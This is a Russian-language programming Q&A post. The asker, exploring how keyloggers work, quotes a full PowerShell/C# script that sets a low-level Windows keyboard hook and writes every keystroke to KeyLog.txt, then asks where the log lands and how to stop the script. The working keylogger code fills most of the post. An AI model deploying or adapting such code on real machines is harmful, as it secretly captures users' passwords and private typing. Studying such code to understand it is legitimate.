Где вывод для сохраняемых журналов ключей? - PullRequest
0 голосов
/ 21 апреля 2020

Мне интересно, как работают клавиатурные шпионы, поэтому я пытаюсь понять этот фрагмент кода из здесь

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyLogger {
    public static class Program {

        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const string logFileName = "KeyLog.txt";
        private static StreamWriter logFile;
        private static HookProc hookProc = HookCallback;
        private static IntPtr hookId = IntPtr.Zero;

        public static void Main() {
            logFile = File.AppendText(logFileName);
            logFile.AutoFlush = true;
            hookId = SetHook(hookProc);
            Application.Run();
            UnhookWindowsHookEx(hookId);
        }

        private static IntPtr SetHook(HookProc hookProc) {
            IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
            return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
        }

        private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
                int vkCode = Marshal.ReadInt32(lParam);
                logFile.WriteLine((Keys)vkCode);
            }
            return CallNextHookEx(hookId, nCode, wParam, lParam);
        }

        [DllImport("user32.dll")]
        private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
        [DllImport("user32.dll")]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);
        [DllImport("user32.dll")]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
        [DllImport("kernel32.dll")]
        private static extern IntPtr GetModuleHandle(string lpModuleName);
    }
}
"@ -ReferencedAssemblies System.Windows.Forms
[KeyLogger.Program]::Main();
#...

, когда я попытался запустить его, он пожаловался, что доступ запрещен для KeyLog.txt на C:\Windows\System32, поэтому я решил, что мне придется запустить его в режиме администратора PowerShell. сейчас он запущен, но я не вижу лог-файл, созданный в этом месте ... так куда именно он входит?

pic

также, как мне остановить запуск сценария ps1? обычно я останавливаю сценарии с помощью ctrl+c, но он не работает для этого, я предполагаю, может быть, причина хуков?

...